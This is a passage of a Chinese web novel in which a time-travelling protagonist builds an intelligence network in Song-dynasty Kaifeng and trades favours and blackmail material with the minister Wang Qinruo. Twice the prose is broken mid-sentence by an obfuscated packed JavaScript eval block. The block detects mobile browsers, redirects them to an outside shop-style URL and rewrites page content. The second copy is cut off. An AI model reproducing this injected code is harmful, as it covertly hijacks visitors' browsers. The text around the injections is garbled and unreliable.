“您能不能帮我给王钦若传个话——就说，有一个人，能帮他拿到应天府那件案子的账册。” 王隐之的烟杆顿了一下。 “子翼，你知道你在说什么吗？” “知道。” “王钦若是贫道的族亲不假，但贫道从不过问他那些事。你让贫道去传这种话，不是把贫道往火坑里推吗？” 萧北翊放下水瓢，蹲在王隐之旁边。 “道长，您不用告诉他是我。您就说，是您认识的一个朋友，手里有渠道能拿到账册。至于这个朋友是谁，您不用细说。” 王隐之沉默了很久，烟杆里的火星一明一暗。 “子翼，你为什么要帮王钦若？他是奸臣。” “我不是帮他。我是在给赤羽找一个靠山。”萧北翊说，“道长，您放心。这件事我心里有数，不会连累您。” 王隐之盯着他看了一会儿，然后叹了口气。 “你这个人，胆子太大了。不过贫道看出来了，你来找贫道之前，已经把每一步都想好了。贫道只是一个传话的，对吧？” 萧北翊笑了笑，没有否认。 王隐之把烟杆在鞋底上磕了磕，站起来。 “话我可以传。但丑话说在前头——王钦若这个人，疑心重。他要是查到你头上，贫道也保不了你。” “不需要您保。我自己能保自己。” 王隐之的回复来得比萧北翊预想的要快。 第二天傍晚，萧北翊正在火锅店算账，王隐之来了。他没进店，站在巷口的杏树下，冲萧北翊招了招手。 萧北翊走过去，王隐之压低声音说：“话传到了。他让我问你，要什么条件。” 萧北翊心里一喜，脸上不动声色。 “条件很简单。第一，以后他的人在东京城里，不能动我的人。第二，他如果需要东京城的消息，我可以提供，但价格公道。第三——” “还有第三？” “第三，现在不说。等他想起来的时候，自然会知道。” 王隐之看了他一眼，摇了摇头。 “你这个人，贫道真是看不透。” “道长，他怎么答复？” “他说要考虑考虑。”王隐之转身走了，走了几步又回头说了一句，“子翼，小心点。王钦若不是孙七爷，他吃人不吐骨头。” 萧北翊目送王隐之的背影消失在巷口，嘴角微微上扬。王钦若说“要考虑考虑”，而不是直接拒绝，说明他已经动心了。现在要做的，就是等。 等待王钦若答复的三天里，萧北翊没有闲着。 他让阿九加快了收集王仲宣案信息的进度。应天府那边的线人传回消息，吴德茂已经被王钦若的人盯上了，但他把账册藏得很隐蔽，王钦若的人翻了几次都没找到。 “萧哥，吴德茂现在躲在应天府城外的庄子上，不敢露面。”阿九拿着简报，“他手里那份账册，是王仲宣贪污赈灾粮的铁证。如果账册落到御史台手里，王仲宣至少是流放，王钦若也会被牵连。” “吴德茂想要什么？” “他想要平安。他说了，只要能保他一家老小的安全，账册可以给任何人。” 萧北翊点了点头。吴德茂要的是平安，不是银子。这说明他不是想敲诈勒索，而是真的怕了。王仲宣是王钦若的侄子，在应天府经营多年，黑白两道都有人。吴德茂一个商人，跟他们斗，等于鸡蛋碰石头。 “阿九，派个人去应天府，跟吴德茂接触一下。告诉他，账册不用交出来，只要他愿意作证，赤羽能保他安全。但这话先不说死，等王钦若那边有了准信再行动。” “萧哥，你是想——” “我想让王钦若知道，赤羽不是只会传话的。赤羽是真正能办事的。能帮他拿到账册，也能帮他摆平吴德茂。” 三月初三，王钦若的答复来了。 不是通过王隐之，而是通过一个萧北翊意想不到的人——周德茂。永丰粮铺的东家，那个之前来火锅店找他“合作”的胖子。 那天下午，周德茂大摇大摆地从正门进来了，带着一个随从，提着一盒点心。 “萧老板，多日不见，生意兴隆啊。”周德茂笑眯眯地拱手。 萧北翊心里警觉，但脸上笑容满面：“周掌柜，什么风把您吹来了？” “东风。”周德茂凑近了一些，压低声音，“有人让我带句话——‘条件可以谈，但第一条要改。’” 萧北翊心里一动。 “怎么改？” “不是‘不能动你的人’，而是‘不动你的人，但你要动别的人，得先打招呼。’”周德茂说完，直起身，恢复了笑眯眯的表情，“萧老板，我的话带到了。告辞。” 他转身走了，随从跟在后面，提着那盒点心，走了几步又回头看了看萧北翊。 萧北翊站在原地，脑子里飞快地转着。 王钦若答应了他的条件，但做了一处修改——“不动你的人，但你要动别的人，得先打招呼。”这句话的意思是，王钦若不介意赤羽的存在，甚至不介意赤羽帮他做事，但他要求赤羽的行动必须在王钦若的掌控之内。这既是一种让步，也是一种警告。 但萧北翊注意到另一个问题——周德茂。王钦若派周德茂来传话，说明周德茂是王钦若的人。那个之前来火锅店找他“合作”的粮商，不是偶然，而是王钦若在试探他。 萧北翊深吸一口气，回了后厨。这条线，比他想的要深。 当天晚上，萧北翊把阿九、刘二、钱串子叫到东厢房，把王钦若的答复说了一遍。 刘二第一个开口：“子翼，这个王钦若，比我们想的要精明。” 钱串子推了推眼镜：“他的意思是，赤羽可以存在，但必须在他的眼皮底下。” 阿九没说话，看着萧北翊。 “阿九，你怎么看？”萧北翊问。 “萧哥，我觉得这不是坏事。”阿九想了想，“王钦若愿意谈条件，说明他暂时不会动赤羽。至于以后——等赤羽足够大了，他动不了的时候，条件就不重要了。” 萧北翊笑了：“阿九说得对。这不是终点，是一个新的起点。” 第二天，萧北翊让阿九写了一封信，通过王隐之转交给王钦若。 信上只有几句话：“条件同意。账册三日内送到府上。不取分文，只求一事——日后赤羽的人，在东京城行走，不被人为难。” 王钦若的回复更快——第二天就送到了。 “允。” 萧北翊看着那个“允”字，沉默了一会儿，然后把信纸折好，收进了袖子里。 “阿九，去应天府。把账册取回来。但记住，不要直接交给王钦若。先拿回来，让钱串子抄一份。抄完了，原件通过王隐之转交。我们不能直接跟王钦若的人碰面。” “萧哥，为什么这么麻烦？” “因为王钦若在试探我们。”萧北翊说，“他想看看，赤羽到底有多大的能量。如果我们直接跟他的人碰面，他就知道赤羽的底细了。但如果我们通过王隐之转交，他就会觉得赤羽很神秘、很有规矩。神秘，有时候比实力更能让人忌惮。” 三月初七，阿九从应天府回来了。她带回了那本王仲宣亲笔签字的账册，还有吴德茂按了手印的证词。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650304|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>账册是真的。上面的每一笔账都记得清清楚楚——某年某月某日，赈灾粮多少石，入库多少，出库多少，剩下的去哪儿了。出库的数字比入库的少了一大截，差额全部进了王仲宣自己的腰包。 萧北翊翻了翻账册，递给钱串子：“抄一份。抄完了把原件包好，我亲自送去给王隐之。” 钱串子接过账册，手都在抖：“萧哥，这东西要是传出去——” “所以让你抄一份，留着备用。”萧北翊说，“原件给王钦若，让他自己去处理。咱们不沾手。” 三月初十，萧北翊亲自去太乙宫，把账册交给了王隐之。 王隐之接过账册，看了一眼，叹了口气。 “子翼，你这是在走钢丝。” “道长，走钢丝的人，只要不掉下来，就是最风光的那一个。” 王隐之摇了摇头，没再说什么，把账册收进了袖子里。 王钦若收到账册的当天，就让王仲宣辞了官，理由是“体弱多病，不堪公务”。御史台那边，案子还没查完，被告就跑了，最后不了了之。吴德茂一家老小，在赤羽的安排下，从应天府搬到了东京城，住进了萧北翊之前在城南买的那个院子里。 吴德茂对萧北翊千恩万谢，说要给他磕头。萧北翊扶住他，说了一句：“吴掌柜，不用谢。这是交易。你给我们账册，我们保你平安。各取所需。” 吴德茂愣了一下，然后点了点头。他是个生意人，懂什么叫“交易”。 王仲宣的事，就这么过去了。表面上风平浪静，但萧北翊知道，水下已经起了波澜。 王钦若收到了赤羽的“投名状”，知道东京城里有这么一个能办事、有渠道、而且不贪心的情报网络。他对赤羽的态度，从“警惕”变成了“观望”。只要赤羽不碰他的底线，他不会动赤羽。 而萧北翊手里，还握着一份账册的抄本。这不是用来威胁王钦若的，而是一张护身符——如果有一天王钦若翻脸，这张护身符就是赤羽最后的底牌。 阿九对这件事的评价是：“萧哥，你跟王钦若做交易，不怕他以后反咬你一口？” 萧北翊笑了笑：“跟他做交易，当然怕。但有的时候，最危险的地方，就是最安全的地方。” 三月中旬，赵衍派人来请萧北翊过府一叙。 还是在后花园的亭子里。赵衍穿了一件家常的灰色袍子，看起来精神不错。 “子翼，王钦若的事，你处理得很好。”赵衍开门见山，“他最近在朝中对我客气了不少。看来，他是把你当成了‘可以用’的人。” 萧北翊端起茶杯，喝了一口：“赵大哥，接下来您觉得我该怎么做？” 赵衍看了他一眼，嘴角微微上扬：“子翼，你心里不是已经有数了吗？你来找我，是想听我说，还是想让我觉得你在听我的？” 萧北翊笑了。赵衍这个人，比他想的还要通透。 “赵大哥，我想听您说。不是因为我不知道该怎么做，而是因为我需要知道，您希望我怎么做。” 赵衍端起茶杯，沉默了一会儿。 “子翼，你跟王钦若做交易，我不反对。但你有没有想过，王钦若这个人，贪得无厌。你今天给了他一个甜枣，他明天就会想要一筐。等他胃口越来越大的时候，你怎么办？” 萧北翊早就想过这个问题。 “所以我要让他觉得，赤羽给他的，不是枣，是药。不吃会死的那种。” 赵衍的眼睛亮了一下。 “什么意思？” “王钦若在朝中的敌人很多。丁谓、寇准、还有那些被他得罪过的清流。这些人，随时可能联合起来对付他。如果赤羽能给他提供这些人的动向，让他提前防范，他就会觉得赤羽是他的保命符。保命符，比甜枣值钱多了。” 赵衍盯着他看了好一会儿，然后笑了。 “子翼，你果然已经想好了一切。你今天来找我，不是来问计，是来告诉我——你需要我帮你提供那些人的动向，对吧？” 萧北翊放下茶杯，郑重地拱了拱手：“赵大哥明鉴。我在市井，您在朝堂。只有您能接触到那些人，只有我能把消息传递给王钦若。我们合作，各取所需。” 赵衍沉默了很久。亭子外面的风吹过竹丛，发出沙沙的声响。 “好。”赵衍终于开口，“我给你提供消息。但你记住——这些消息，不能全部给王钦若。要挑着给，掐着给。给他的时候，要让他觉得这是赤羽费了很大劲才弄到的。这样他才会珍惜，才会依赖。” 萧北翊点了点头。赵衍说的这些，他早就想到了。但他没有说“我早就知道了”，而是说了一句：“赵大哥说得对。您放心，我心里有数。” 赵衍看了他一眼，目光中多了一丝赞许。 “子翼，你这个人，最让人放心的地方，就是你知道什么时候该听别人的，什么时候该自己拿主意。” 萧北翊笑了笑，没有接话。 从赵府出来，萧北翊在城里绕了一大圈。 他没有直接回葫芦巷，而是在城中的街道上慢慢走着。三月的东京城，春风拂面，街上行人如织。有人在卖花，有人在卖糖葫芦，有人在街头杂耍，热闹得很。 萧北翊边走边想。 赵衍说得对，跟王钦若做交易，不能一次给太多。要像喂鱼一样，一点一点地喂，让鱼觉得每次都有收获，但又永远吃不饱。这样，鱼才会一直留在钩边，不会游走。 至于赵衍那边，也不能让他觉得赤羽完全在他的掌控之中。要让赵衍觉得赤羽是他的盟友，而不是他的手下。盟友可以合作，但不会俯首帖耳。 这两边的关系，就像走钢丝。一边是王钦若，一边是赵衍。哪边都不能靠太近，哪边都不能离太远。保持恰到好处的距离，才能在夹缝中生存，慢慢壮大。 萧北翊走到甜水巷口，抬头看了看南北火锅的招牌。夕阳西下，金字招牌在余晖中闪闪发光。 他推开门，走了进去。 店里热气腾腾，客人坐满了每一张桌子。阿九在柜台后面算账，刘二在角落里跟一个线人低声交谈，赵大锤在后厨忙得满头大汗。 一切都跟往常一样。 萧北翊走到柜台前，拿起账册翻了翻。 赤羽的账上现在有二百多两银子，存粮五百多石，布匹生意每月固定进账三十两左右。明面上的火锅店，每月的利润稳定在六十两上下。 钱不算多，但足够赤羽运转。更重要的是，赤羽在东京城已经扎下了根，不再是那个在破庙里瑟瑟发抖的小团伙了。 萧北翊合上账册，站在窗前，看着外面的夕阳。 三月的夕阳，暖洋洋的，照在脸上很舒服。 他伸了个懒腰，朝后厨喊了一声：“大锤，晚上加个菜。刘二哥要回来了。” 赵大锤在后厨应了一声：“好嘞！” 萧北翊笑了笑，转身回了东厢房。 棋局还在继续。鱼已经上钩了。接下来，该收线了。 15. 第十五章 王钦若的试探 大中祥符五年的暮春，东京城笼罩在一片蒙蒙细雨中。 萧北翊站在葫芦巷的东厢房窗前，看着雨丝从屋檐上滴下来，在青石地面上砸出一个个小坑。空气里弥漫着泥土和青草的气息，还有一丝若有若无的杏花香。 他的手里捏着一封信。信是赵衍写的，只有寥寥数语：“明日酉时，王相设宴，邀你赴席。来否自决。” 王相。王钦若。 萧北翊把信折好，塞进袖子里，嘴角微微上扬。王钦若请他去赴宴，这是一个信号——不是鸿门宴，也不是招揽，而是一次试探。他想看看，那个帮他拿到账册的“萧子翼”，到底是何方神圣。 阿九推门进来，手里端着一碗姜茶。 “萧哥，喝点热的。这天湿气重，别病了。” 萧北翊接过姜茶，喝了一口，辣得龇牙咧嘴。 “阿九，你说王钦若请我吃饭，我该穿什么去？” 阿九愣了一下：“王钦若请你去吃饭？” “对。明天酉时，他府上。” 阿九的眉头皱了起来：“萧哥，这会不会是鸿门宴？” “不会。”萧北翊放下碗，“王钦若要动我，不需要请我吃饭。他在东京城捏死我，比捏死一只蚂蚁还容易。他请我吃饭，说明他想看看我这个人，值不值得他用。” “那你去不去？” “去。为什么不去？”萧北翊笑了笑，“人家请吃饭，不去不给面子。” 第二天酉时，萧北翊准时出现在王钦若的府邸前。 他换了一身干净的青布袍子，不是新的，但浆洗得很平整。头发用木簪束起来，脸上也洗得干干净净，看起来像个家境殷实的读书人。他故意没有穿得太好，也没有穿得太差——恰到好处的不卑不亢。 王钦若的府邸在城中的保康坊，占地极广，门口蹲着两只石狮子，气派非凡。萧北翊报上名字，一个管事模样的人领着他穿过前院、中院，来到了后花园的水榭里。 水榭建在一个人工湖上，四面环水，只有一条回廊连接岸边。雨后的湖面波光粼粼，几朵睡莲刚刚绽开，粉白色的花瓣上还挂着水珠。 王钦若正坐在水榭里，面前摆着一壶茶、几碟点心。 这是萧北翊第一次见到这位当朝权相。王钦若六十来岁，身材矮小，面皮白净，下巴上留着一撮山羊胡，穿着一件深紫色的锦袍，看起来像个和气的老学究。但萧北翊注意到他的眼睛——那双眼睛不大，但目光锐利，像鹰一样，能把人从里到外看透。 “草民萧北翊，拜见王相公。”萧北翊躬身行礼。 王钦若摆了摆手：“不必多礼。坐。” 萧北翊在他对面坐下，腰背挺直，目光平视，不卑不亢。 王钦若端起茶杯，喝了一口，不紧不慢地打量着萧北翊。 “你就是萧子翼？” “正是。” “你那火锅店，生意不错。” “托王相公的福，勉强糊口。” 王钦若放下茶杯，嘴角微微上扬。他知道萧北翊在装傻——一个“勉强糊口”的火锅店，怎么可能帮他从应天府拿到账册？怎么可能在东京城里布下一张消息网？ “萧子翼，老夫不喜欢拐弯抹角。”王钦若的目光变得深邃，“应天府的事，是你做的？” 萧北翊知道瞒不住，也没打算瞒。 “是。” “为什么帮老夫？” “因为草民想让王相公开心。” 王钦若愣了一下，然后哈哈大笑。笑声在水榭里回荡，惊起了湖面上几只水鸟。 “你这个人，有意思。”王钦若收起笑容，盯着萧北翊的眼睛，“你不是想让老夫开心，你是想让老夫欠你一个人情，对吧？” 萧北翊端起茶杯，喝了一口，不紧不慢地说：“王相公明鉴。草民是个商人，做任何事都有目的。帮王相公拿到账册，是草民的本事。至于王相公领不领这个情，那是王相公的事。” 王钦若的眼睛微微眯了起来。他在朝中做了几十年官，见过无数趋炎附势之人，但没有一个像萧北翊这样——明明是来攀附的，却摆出一副“我不在乎”的姿态。 “你就不怕老夫翻脸？” “怕。”萧北翊放下茶杯，“但草民觉得，王相公不是那种人。王相公是干大事的人，不会跟一个草民计较。” 王钦若又笑了，这次笑得很轻。 “萧子翼，你这个人，很会说话。但老夫在官场混了这么多年，最不信的就是会说话的人。” “那王相公信什么？” “信本事。”王钦若站起来，走到水榭边，背对着萧北翊，“你有本事，老夫就用你。你没本事，老夫就当没见过你。就这么简单。” 萧北翊站起来，走到王钦若身边，看着湖面上的睡莲。 “王相公，草民有个问题，不知道当不当问。” “问。” “您用草民，不怕赵郡王不高兴？” 王钦若转过头，看了他一眼，目光中带着一丝意外。 “你知道赵衍？” “草民跟他有几面之缘。他的护卫南晚枫，是草民的房东。” 王钦若沉默了一会儿，然后笑了。 “萧子翼，你比老夫想的要聪明。你知道老夫跟赵衍不对付，所以你故意把跟他的关系说出来，让老夫觉得你不是他的人。对不对？” 萧北翊没有否认。 “草民不是任何人的人。草民是草民自己的人。” 王钦若盯着他看了好一会儿，然后拍了拍他的肩膀。 “好一个‘草民是草民自己的人’。萧子翼，从今天起，你替老夫做事。老夫不会亏待你。” 从王钦若府上出来，天已经黑了。 萧北翊走在城中的街道上，心跳比平时快了几分。跟王钦若这种人打交道，每一步都像在刀尖上跳舞。说错一句话，可能就万劫不复。但他今天说的每一句话，都是经过精心设计的——不卑不亢，不谄媚，不隐瞒，也不全盘托出。 王钦若喜欢有本事的人，但不喜欢太有心机的人。萧北翊展现了自己的本事，也展现了自己的坦诚——他说了自己跟赵衍的关系，没有隐瞒。这会让王钦若觉得他不是一个两面三刀的人。 但实际上，萧北翊隐瞒了很多。他没有说赤羽的真正规模，没有说账册他抄了一份，没有说他跟赵衍合作提供消息的事。 有些事，能说。有些事，打死也不能说。 阿九在葫芦巷的院门口等着他，手里提着一盏灯笼。 “萧哥，怎么样？” “还行。”萧北翊接过灯笼，“王钦若请我吃了顿饭，聊了几句。他说从今天起，我替他做事。” 阿九的眉头皱了起来：“萧哥，你真的要替他做事？” “为什么不？”萧北翊推开院门，“替他做事，又不等于做他的奴才。他需要我的消息，我需要他的庇护。各取所需。” “可是他是奸臣。” 萧北翊停下脚步，回头看着阿九。 “阿九，在这个世道里，忠臣奸臣，跟我们有什么关系？我们是乞丐出身，能活下来就不错了。我们没有资格挑三拣四。谁给我们活路，我们就替谁做事。等我们有能力了，再谈忠奸。” 阿九沉默了一会儿，然后点了点头。 “萧哥，我懂了。” 王钦若给萧北翊的第一件任务，来得比他预想的要快。 第二天一早，周德茂就来了火锅店。这次他没带点心，带了一个信封。 “萧老板，王相公让我把这个交给你。”周德茂把信封放在柜台上，压低声音，“他说，三天之内，要这份名单上所有人的底细。” 萧北翊打开信封，抽出一张纸。纸上写了七八个名字，都是朝中官员。有几个他听说过，有几个完全陌生。名字后面标注了官职和籍贯，但没有其他信息。 “三天？”萧北翊收起纸，“有点紧。” 周德茂笑了笑：“王相公说，你一定能办到。” 他转身走了，留下萧北翊一个人站在柜台前。 萧北翊把名单上的名字一个一个地看了一遍，脑子飞快地转着。这些人，分布在不同的衙门，有的在御史台，有的在吏部，有的在枢密院。表面上看不出什么关联，但萧北翊注意到一个细节——这些人，都是王钦若在朝中的政敌的亲信。 王钦若要查他们的底细，是想找到突破口，各个击破。 “阿九，”萧北翊叫来阿九，“这些人，三天之内，能查到多少？” 阿九接过名单，看了一遍，眉头皱了起来。 “萧哥，这些人有的在地方，有的在京师，三天时间太紧了。” “紧也要查。”萧北翊说，“把赤羽所有能用的人都用上。应天府、洛阳、郑州，那边的线人也动起来。三天之后，我要一份完整的报告。” 阿九点头，转身去安排了。 接下来的三天，萧北翊几乎没有合眼。 他白天在火锅店里算账、调底料，晚上在葫芦巷的东厢房里看简报、整理信息。阿九带着赤羽的几十号人，像一台精密的机器一样运转着，从各个方向把信息汇总过来。 第一天，查到了两个人的底细。一个是御史台的监察御史，在任上收过贿赂，证据确凿。一个是吏部的员外郎，跟地方官有利益输送，账目被人记了下来。 第二天，又查到了三个。一个在枢密院的，私通辽国的商人，卖过军事情报。一个在户部的，贪污了赈灾粮，虽然数额不大，但性质恶劣。还有一个在开封府的，包庇罪犯，收了好处费。 第三天，最后三个人的信息也到了。虽然不如前五个人那么劲爆，但也各有各的问题——有的贪财，有的好色，有的滥用职权。 阿九把所有的信息整理成一份简报，交给萧北翊的时候，眼睛红红的，声音也有些哑。 “萧哥，都查到了。但有几个人的信息还不够详细，需要再花时间。” “够用了。”萧北翊翻着简报，“王钦若要的不是把他们整死，而是手里有把柄，能随时拿捏他们。” 第三天傍晚，萧北翊亲自把简报送到了王钦若府上。 王钦若接过简报，翻开看了看，脸上的表情从平淡变成了惊讶，从惊讶变成了满意。 “三天。七天个人。萧子翼，你比老夫想的还要有本事。” 萧北翊拱手：“王相公谬赞。赤羽的人跑了三天三夜，没合眼，才勉强查到这些。” 王钦若点了点头，把简报收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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信上说，王钦若最近在朝中动作频频，连续弹劾了好几个政敌的亲信。这些人被弹劾的理由，跟赤羽提供的信息一一对应。 赵衍在信末写道：“子翼，王钦若已经把你当成了他的一把刀。你要小心，刀用多了，会钝。钝了就会被扔。” 萧北翊看完信，把信纸在油灯上烧了。 赵衍说得对。他现在是王钦若的刀，刀锋凌厉，所向披靡。但刀总有一天会钝，钝了就会被扔。他要在刀钝之前，从刀变成握刀的手。 握刀的手，永远不会被扔。 四月底，萧北翊做了一件事——他把赤羽的消息网络又扩大了一圈，覆盖了汴河沿线的所有重要城镇，从东京城一直延伸到应天府、郑州、洛阳。 他把这套网络叫做“赤羽的血管”。东京城是心脏，汴河沿线是动脉，各个城镇的线人是毛细血管。心脏跳动，血液流动，信息就能在最短的时间内传遍整个中原。 阿九对这套体系赞不绝口：“萧哥，你这脑子是怎么长的？” 萧北翊笑了笑：“多看书。书看多了，脑子就好使了。” 他说的是实话。在现代，他读过的管理类书籍、情报类论文、历史类著作，加起来能堆满一个书架。那些知识在北宋用不上，但管理思维和逻辑框架，放之四海而皆准。 这是他的金手指——不是武功，不是异能，而是超越这个时代千年的知识储备和思维格局。 五月初，东京城入夏了。 甜水巷的槐树开满了白色的花，香气弥漫在整条巷子里。火锅店的生意随着天气转热有所下降，但萧北翊早就想好了对策——推出“夏日清凉锅”，用薄荷、菊花、金银花熬汤底，清爽解暑，大受欢迎。 赵大锤对他佩服得五体投地：“萧哥，你是不是什么都会？” 萧北翊想了想：“不会打仗，不会打架，不会生孩子。其他的，凑合。” 赵大锤：“……” 萧北翊站在火锅店门口，看着巷子里来来往往的行人。 赤羽在东京城已经站稳了脚跟。明面上有火锅店，暗地里有消息网络，账上有银子，仓里有粮食，手底下有四五十号人。王钦若把他当刀用，赵衍把他当盟友看，三叔搬进了葫芦巷，阿九独当一面，刘二在汴河沿线跑来跑去，钱串子的账记得越来越好了。 一切都在按照计划推进。 但萧北翊知道，真正的挑战还在后面。大中祥符五年的秋天，黄河就要决口了。到时候，饥荒、流民、瘟疫、暴乱，一系列的问题会接踵而至。赤羽能不能在这些危机中存活下来，甚至借势壮大，就看接下来的几个月了。 萧北翊深吸一口气，转身回了店里。 “大锤，晚上加个菜。今天高兴。” “萧哥，什么事这么高兴？” “没什么。就是觉得，活着真好。” 赵大锤挠挠头，没听懂，但还是去加菜了。 萧北翊坐在柜台后面，拿起账册，翻到空白页，写了一行字： “赤羽第八个月：存粮六百石，存银三百两，人员四十七人。王钦若已入局。赵衍仍在观望。下一步：黄河。” 他合上账册，靠在椅背上，闭上眼睛。 窗外的风吹进来，带着槐花的香气。 新的棋局，已经开始了。 16. 第十六章 槐花落，粮仓起 大中祥符五年的五月，东京城热得早。 甜水巷的槐花开得正盛，一串串白色的花穗垂下来，香气浓得化不开。老孙头在豆腐摊上挂了一层纱帘，不是为了好看，是为了挡苍蝇。他一边赶苍蝇一边骂：“这鬼天气，才五月就这么热，到了七八月还不得把人烤熟了？” 萧北翊蹲在火锅店门口，手里拿着一把蒲扇，慢悠悠地扇着。他在等一个人。 等了大约一盏茶的工夫，巷口出现了一个胖乎乎的身影。周德茂提着一个小竹篮，满头大汗地走过来。 “萧老板，你这店真难找。”周德茂把竹篮往柜台上一放，掀起衣摆擦了擦汗，“王相公让我给你送点东西。” 萧北翊打开竹篮，里面是一封信和一块玉佩。玉佩晶莹剔透，上面刻着一个“王”字。信上只有一行字：“持此玉者，如老夫亲至。” 萧北翊把玉佩收进袖子里，信折好收好。这是一块“通行证”——持此玉，可以在需要的时候调动王钦若的人马。王钦若给他这个东西，说明他对萧北翊的信任又深了一层。但萧北翊心里清楚，信任越深，知道的秘密就越多。等王钦若觉得他知道得太多了，就是翻脸的时候。 “周掌柜，替我谢过王相公。”萧北翊拱了拱手。 周德茂点了点头，转身要走，又回头说了一句：“萧老板，王相公让我问你，上次那份名单，还有没有更详细的？” 萧北翊想了想：“有。再过半个月，应该能查到更多。” “好。到时候我再来。”周德茂走了，胖乎乎的身影消失在巷口。 周德茂走后，萧北翊把玉佩拿在手里端详了一会儿。玉质温润，雕工精细，一看就是宫里的东西。王钦若把这么贵重的东西给他，表面上是一种信任，实际上也是一种捆绑——收了礼，就等于上了船。 萧北翊把玉佩收进袖子里，没有戴在身上。这种东西，戴出去太招摇，反而容易惹麻烦。 五月中旬，萧北翊让刘二又跑了一趟两浙路。这次不是买布匹，而是买粮食。 两浙路是北宋的粮仓，每年产的粮食除了供应本地，还有大量余粮运往东京城。萧北翊让刘二在杭州、苏州、湖州三个地方同时收购，每次买得不多，分散在不同的粮商手里，不引人注意。一个月下来，赤羽的存粮从六百石增加到了八百石。 钱串子看着账本，有点担心：“萧哥，咱们囤了这么多粮食，万一明年不闹饥荒怎么办？” 萧北翊看了他一眼：“我说过明年会闹饥荒吗？” “那你囤粮干嘛？” “有备无患。”萧北翊没有多解释。他总不能说“历史书上写的”吧？ 钱串子虽然不理解，但还是按照萧北翊的要求，把每一笔粮食的进出都记得清清楚楚。他已经习惯了萧北翊做一些看似莫名其妙的事——囤粮、存药、挖地窖、在中转站存粮——虽然不知道为什么，但事实证明，萧哥做的事最后都是对的。 除了囤粮，萧北翊还做了一件事——存药。 他让孙驼子以“赤羽”的名义，在城南的仓库里存了一批常用药：黄连、金银花、连翘、板蓝根、甘草。这些药在平时不值钱，但饥荒之后往往伴随着瘟疫，到时候药比粮还贵。这是他在现代读历史时学到的——大灾之后必有大疫，大疫之时药如金。 孙驼子问他：“萧哥，你存这些药干嘛？” 萧北翊说：“救人。” 孙驼子没再问，但看萧北翊的眼神多了一层敬意。他活了六十多年，见过太多趁火打劫的人，没见过提前存药救人的。 五月下旬，萧北翊收到了一份让他警觉的情报。 阿九拿着简报，表情有些微妙：“萧哥，有人在查赤羽的底。” 萧北翊接过简报，看了一遍。简报上写着：最近半个月，有人在东京城四处打听赤羽的消息，主要集中在城南和城西。打听的人很谨慎，每次都是通过不同的中间人，没有留下明显痕迹。 “查到是谁的人了？”萧北翊问。 阿九摇头：“还没查到。但手法很专业，不像是普通人，应该是哪个衙门的人。” 萧北翊的眉头皱了起来。衙门的人在查赤羽？是王钦若？还是赵衍？还是别的什么人？ “继续盯着。不要打草惊蛇。查到了人，先别动，告诉我。” 阿九点头，转身去了。 萧北翊站在窗前，看着院子里的柿子树。有人开始查赤羽了，这不是好事。赤羽虽然做了隐蔽化处理，但如果对方真有决心，一层一层地挖，迟早能挖到核心。 他需要想一个办法，让查赤羽的人知难而退。 思来想去，萧北翊想到了一个主意——借力打力。王钦若不是给了他一块玉佩吗？这块玉佩，该用的时候就得用。不是拿去跟人硬碰硬，而是让查赤羽的人知道，赤羽背后有人，不是他们能动得了的。 具体的办法，他打算让阿九去安排——找机会让查赤羽的人“偶然”发现赤羽跟王钦若有关系。不需要明说，只需要露一点痕迹，对方自然就会收手。王钦若在东京城的势力，没几个人敢惹。 五月底，萧北翊收到了王隐之的一封信。 信上写道：“子翼，你托贫道打听的事，有眉目了。二十年前，萧家灭门案的主审官叫张孝先，现在已经告老还乡，住在郑州。你若想查，可以去找他。但贫道提醒你——这个人，嘴很严。而且，案子已经过去了二十年，相关的卷宗恐怕早已不在了。即使找到他，也未必能问出什么。” 萧北翊把信看了两遍，然后收进了袖子里。 张孝先。郑州。这是二十年来，他第一次找到与萧家灭门案直接相关的线索。 但他没有急着动身。 他站在窗前，看着院子里的柿子树，想了很久。现在去郑州找张孝先，能问出什么？一个告老还乡的前推官，对二十年前的灭门案，能知道多少？就算他知道什么，他会说吗？一个能在官场上平安退休的人，一定深知“祸从口出”的道理。萧北翊一个陌生人上门，张孝先凭什么把二十年前的秘密告诉他？ 更重要的是——现在去查，会不会打草惊蛇？ 二十年前灭萧家满门的人，现在还在朝中，位高权重。如果萧北翊大张旗鼓地去查，消息传到那人耳朵里，后果不堪设想。赤羽现在虽然有了些根基，但跟朝中权贵比起来，还是鸡蛋碰石头。 萧北翊深吸一口气，做出了一个决定——暂时不查。 不是放弃，而是等。等到赤羽足够强大，等到他在朝中有了足够的盟友，等到他手里握着一副能跟对手抗衡的牌。那时候，再去翻二十年前的旧账，才是时候。 他把王隐之的信折好，压在枕头底下，没有告诉任何人。 六月初，刘二从两浙路回来了。 这次他不仅带回了粮食，还带回了一个人——一个姓林的茶商，四十来岁，精明干练，是刘二在杭州认识的。林茶商在东京城有生意，想找一个本地人合伙，扩大经营。 萧北翊跟林茶商聊了一个下午，从茶叶的品种聊到运输的路线，从价格聊到市场。林茶商对茶叶生意了如指掌，但对东京城的市场不太熟悉。萧北翊对茶叶生意一窍不通，但对东京城的市场了如指掌。 两人一拍即合。 萧北翊出人脉、出场地、出渠道，林茶商出货源、出技术、出经验。利润五五分。阿九给这个新业务取了个名字，叫“赤羽茶行”，挂在火锅店的名下，不单独注册。 钱串子对此的评价是：“萧哥，你是不是什么生意都想插一脚？” 萧北翊笑了笑：“钱不嫌多。再说了，茶叶生意做好了，比火锅店赚得多。” 六月中旬，赤羽的消息网络又扩大了一圈。 